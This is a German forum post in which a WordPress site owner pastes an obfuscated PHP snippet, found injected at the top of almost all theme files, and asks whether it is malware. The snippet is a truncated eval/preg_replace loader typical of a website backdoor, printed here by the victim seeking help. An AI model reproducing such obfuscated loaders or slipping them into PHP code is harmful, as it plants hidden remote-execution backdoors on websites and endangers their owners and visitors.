Hallo zusammen,
ich finde gerade einen etwas seltsamen code vor, der in (fast) allen php-Seiten am Anfang eingefügt ist (wurde??). Kann mir dazu jemand etwas sagen? Woher kommt der? ich benutze das Vantage-Theme und wp 3.9.1.
Ich kopiere ihn mal hier rein, wobei ich auf 10.000 Zeichen begrenzt bin und der Code etwas über 13.000 Zeichen hat.
PHP
Der Code sieht so aus:
<?php $whwgkbckbs = 'ft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51x5c%x7825eN+#Qi%x5c%x785c1^W%%x7825!-#1]#-bubE{h%x5c%x7825)t5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x782%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x75c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782v%x5c%x7825)}k~~~<ftmbg7825!|!*#91y]c9y]g2y]#>>*4-1D!-id%x5c%x7825)uqpupV%x5c%x787f%x5c%x787273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(FOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>c%x7827pd%x5c%x78256<pd%x5c%x78>!{e%x5c%x7825)!>>%x5c%x7822!f5c%x7825ggg!>!#]y81]24-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=t)ftpmdXA6~6<u%x5c%x78257>%x5c%x%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bx5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.5]67]452]88]5]48]32M3]317]445]212]48257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.m5epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-Ux7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***24-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x782474%162%x5f%163%x70%154%x69%164%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]%x782f%x5c%x7825%x5c%x7824-c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gjx5c%x7824*
<%x5c%x7825c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x782574]25%x5c%x7824-%x5c%x7824j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSF68]y34]68]y33]65]y31]53]y6d]281]y43]tmbg)!gj<*#k#)usbut%x5c%x7860c21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x55c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7
<2p%x5c%x7825%x5c%x78782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825zpc}A;~!}%x5c%x787f;!|!}{gj}l;3pusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~ftpmdXA6|7**197-2qj%x5c%x78257-3bq}k;opjudovg}%x5c%x7878;0x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+98e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x78!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c825b:>1<!gps)%x5c%x7825j:>1%x5c%x785cq%x5c%x78257%x5c%x8256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%xusut!-#j0#!%x5c%x782f!ufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:N}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2vg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovgfmjgk4%x5c%x7860{6~6<tfs%xj{fpg)%x5c%x7825%x5c%x7824-%>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5ppde:4:**#ppde#)tutjyf%x5c%x78604%x555Ld]55#*<%x5c%x7825bG9<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:**t%x5c%x7825)m|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x75c%x7825s:%x5c%x785c%x5c%x7825<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]ubE{h%x5c%x7825)sutcvt-#t>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy+^?]_%x5c%x785c}X%x5c62]67y]562]38y]572]48y]#>m%x5c%x7825:*r%x5c%x7825:-t%x5c%x7825}R;2]},;osvufs}%x5c%x7827;mnui}&;ze>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#7e*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_tsv%x5c%x7860ftsbqA7>q%x5c%x7825#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825sv25V<#65,47R25,d7R17,67R37,#%75]y83]248]y83]256]y81]265]5)54l}%x5c%x7827;%x5c%x7825!<*#}_;<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q*X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%1825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x78c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSV0)%x5c%x782f+*0f(-!#]y76]277]y72]265]yc%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPF%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x25>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%ting(0); preg_replace("%xb%x5c%x7825)sf%x5c%x7878pmp%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x782c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hop%x5c%x7825svufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y6:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]SV<*w%x5c%x7825)ppde>u%x5c%x78%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZAtdz*Wsfuvso!%x5c%x7839]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]63%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) 5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211Mx7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUU^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)45]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x78257825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubEK9]77]D4]82]K6]72]K9]78]K5]535c%x7860hA%x5c%x7827pd%x5c%x7782f#00;quui#>.%x5c%x78260%x28%42%x66%152%x66%147%x67%42%x2c%163%x25w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x7x5c%x7825)ftpmdR6<*id%x5c%78r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]251:*mmvo:>:iuhofm%x5c%x7825:-5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6g]273]y76]271]y7d]252]y74]256]y39]252]y8%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c74]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5%x7824-.
78242178}527}88:}3N;#-Ez-1H*WCw*[!%x5c%x7825r7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]/(.*)/epreg_replacehomxkkttrr'; $ykenshrzou = explode(chr((300-256)),'1700,35,5633,69,7603,26,9118,67,5074,25,5027,47,4542,65,6184,42,1320,31,6756,35,2258,66,5163,49,7706,23,6131,29,9312,39,588,31,6226,40,3079,42,9628,34,8036,41,1546,62,713,31,2984,40,278,49,933,64,2014,46,9185,47,2657,31,1107,69,523,65,5212,49,9503,43,5702,53,3051,28,6914,61,6638,27,6975,38,8439,40,997,41,4185,31,9351,43,9901,51,7685,21,7853,60,3275,26,7729,49,6266,26,4864,58,7419,51,6791,27,8401,38,6427,55,8290,68,7978,26,4780,53,4694,48,421,20,0,65,9782,26,8536,41,7268,69,370,23,8942,43,4649,45,4970,57,197,31,6726,30,1785,64,3857,52,787,55,3833,24,7629,56,6059,43,8893,49,393,28,8598,62,3235,40,2431,40,9394,45,3632,58,9470,33,5126,37,1757,28,9084,34,7013,25,6160,24,8577,21,842,56,2359,40,4607,42,1176,51,5099,27,3121,22,6665,61,7541,62,9281,31,2546,42,2715,46,8358,43,4833,31,5884,70,6818,61,9573,55,4473,69,2821,65,2145,47,1608,58,228,50,4334,34,4216,63,3143,37,3566,66,6396,31,3388,38,1428,67,7470,26,619,30,2228,30,441,21,7819,34,5500,55,5470,30,4279,28,1735,22,8660,47,8479,57,8707,61,744,43,3994,35,2514,32,2688,27,4423,50,7496,45,8843,50,3909,21,5310,59,6482,40,8251,39,4307,27,1904,66,1351,50,4123,62,5261,49,3329,59,8004,32,3498,68,8798,45,4922,48,9439,31,4029,46,3930,64,9808,66,7337,22,6337,59,7105,35,2060,25,1666,34,2932,52,65,43,6522,47,6611,27,5369,40,2399,32,1970,44,7398,21,1227,42,1269,51,9760,22,669,44,3301,28,1495,51,1401,27,7140,32,1849,55,6569,42,5755,61,168,29,7359,39,4075,48,327,43,1038,69,7778,41,9874,27,3180,55,5954,53,7038,67,8129,64,2886,46,6292,45,5409,61,6102,29,7172,66,9662,54,8985,40,10037,69,3426,23,9546,27,2324,35,2588,69,3775,58,5816,68,898,35,6007,52,5555,20,7913,65,9952,41,4368,55,3024,27,3449,49,8193,58,3745,30,2085,60,9716,44,9232,49,6879,35,2471,43,9025,41,3690,55,2761,60,8077,52,7238,30,8768,30,9993,44,649,20,462,61,4742,38,5575,58,2192,36,108,60,9066,18'); $pmdxhqrxwo=substr($whwgkbckbs,(57299-47193),(35-2); if (!function_exists('iukybiolfe')) { function iukybiolfe($qhiwxyjrgc, $odzulybinp) { $nsxijctwrv = NULL; for($zhnliunhsz=0;$zhnliunhsz<(sizeof($qhiwxyjrgc)/2);$zhnliunhsz++) { $nsxijctwrv .= substr($odzulybinp, $qhiwxyjrgc[($zhnliunhsz*2)],$qhiwxyjrgc[($zhnliunhsz*2)+1]); } return $nsxijctwrv; };} $gzsnkxevpi="\x20\57\x2a\40\x6a\154\x68\161\x61\144\x71\147\x66\145\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x32\55\x31\61\x35\51\x29\54\x20\143\x68\162\x28\50\x33\61\x33\55\x32\62\x31\51\x29\54\x20\151\x75\153\x79\142\x69\157\x6c\146\x65\50\x24\171\x6b\145\x6e\163\x68\162\x7a\157\x75\54\x24\167\x68\167\x67\153\x62\143\x6b\142\x73\51\x29\51\x3b\40\x2f\52\x20\146\x6f\166\x6e\147\x73\152\x6a\147\x75\40\x2a\57\x20"; $vatlqvyhpi=substr($whwgkbckbs,(69301-5918,(81-69)); $vatlqvyhpi($pmdxhqrxwo, $gzsnkxevpi, NULL); $vatlqvyhpi=$gzsnkxevpi; $vatlqvyhpi=(647-526); $whwgkbckbs=$vatlqvyhpi-1; ?>
______________
Alles anzeigen
Ich habe ihn z.B. bereits aus dem "Content.php" rausgenommen und es passiert nix, die Seite läuft weiter wie bisher auch. Hat einer einen Plan, warum der auf einmal da ist? Kenne mich mit so etwas nicht aus, aber nicht dass mir da jemand Schadcode untergejubelt hat????
Danke
Andi